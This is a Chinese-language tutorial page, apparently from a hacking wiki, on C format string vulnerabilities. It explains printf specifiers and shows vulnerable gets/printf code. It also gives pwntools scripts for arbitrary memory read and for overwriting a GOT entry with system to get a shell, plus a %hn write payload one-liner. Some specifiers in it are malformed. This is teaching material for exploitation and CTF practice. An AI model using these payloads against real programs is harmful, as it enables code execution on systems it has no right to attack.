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格式化字符串
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基本信息
在C语言中,printf
是一个用于打印字符串的函数。该函数期望的第一个参数是带有格式化符号的原始文本。接下来期望的参数是要从原始文本中替换****格式化符号的值。
当将攻击者文本用作该函数的第一个参数时,就会出现漏洞。攻击者可以利用printf格式化字符串的功能来构造特殊输入,以读取和写入任何地址的任何数据(可读/可写)。从而能够执行任意代码。
格式化符号:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
示例:
- 可被攻击的示例:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- 正常使用:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- 缺少参数时:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
访问指针
格式%<n>$x
,其中n
是一个数字,允许指示printf选择第n个参数(来自堆栈)。因此,如果您想使用printf读取堆栈中的第4个参数,可以执行以下操作:
printf("%x %x %x %x")
您可以从第一个到第四个参数中读取。
或者您可以执行:
printf("$4%x")
并直接读取第四个。
注意,攻击者控制pr
intf
参数,这基本上意味着他的输入将在调用printf
时位于堆栈中,这意味着他可以在堆栈中写入特定的内存地址。
{% hint style="danger" %}
控制此输入的攻击者将能够在堆栈中添加任意地址并使printf
访问它们。在下一节中将解释如何利用这种行为。
{% endhint %}
任意读取
可以使用格式化程序**$n%s
来使printf
获取位于n位置的地址**,并在其后打印它,就好像它是一个字符串(打印直到找到0x00为止)。因此,如果二进制文件的基地址为**0x8048000
**,并且我们知道用户输入从堆栈的第4个位置开始,就可以打印二进制文件的开头:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} 请注意,您不能在输入的开头放置地址0x8048000,因为该字符串将在该地址的末尾添加0x00。 {% endhint %}
任意写入
格式化程序 $<num>%n
将 写入的字节数 写入到堆栈中的 <num> 参数中指定的地址。如果攻击者可以使用printf写入尽可能多的字符,他将能够使 $<num>%n
在任意地址写入任意数字。
幸运的是,要写入数字9999,不需要在输入中添加9999个"A",为了做到这一点,可以使用格式化程序 %.<num-write>%<num>$n
将数字 <num-write>
写入到由 num
位置指向的地址中。
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
然而,请注意,通常为了写入诸如0x08049724
这样的地址(一次写入一个巨大的数字),会使用$hn
而不是$n
。这样可以仅写入2字节。因此,此操作需要执行两次,一次用于地址的最高2字节,另一次用于最低的字节。
因此,此漏洞允许在任何地址中写入任何内容(任意写入)。
在此示例中,目标是覆盖稍后将调用的GOT表中函数的地址。尽管这可能会滥用其他任意写入执行技术:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
我们将覆盖一个从用户接收参数并将其指向**system
函数的函数**。
如前所述,通常需要两个步骤来写入地址:首先写入地址的2字节,然后再写入另外2字节。为此,使用**$hn
**。
- HOB 用于地址的2个高字节
- LOB 用于地址的2个低字节
然后,由于格式字符串的工作方式,您需要首先写入[HOB,LOB]中较小的那个,然后再写入另一个。
如果 HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
如果 HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools模板
您可以在以下位置找到一个模板,用于准备针对这种类型漏洞的利用:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
或者可以参考这个基本示例here。
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
其他示例和参考资料
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32位,无relro,无canary,nx,无pie,基本使用格式化字符串从堆栈中泄漏标志(无需更改执行流程)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32位,relro,无canary,nx,无pie,使用格式化字符串将地址
fflush
覆盖为win函数(ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32位,relro,无canary,nx,无pie,使用格式化字符串在
.fini_array
中的main内写入地址(使流程再循环1次),并将地址写入指向strlen
的GOT表中的system
。当流程返回到main时,strlen
将使用用户输入执行,并指向system
,将执行传递的命令。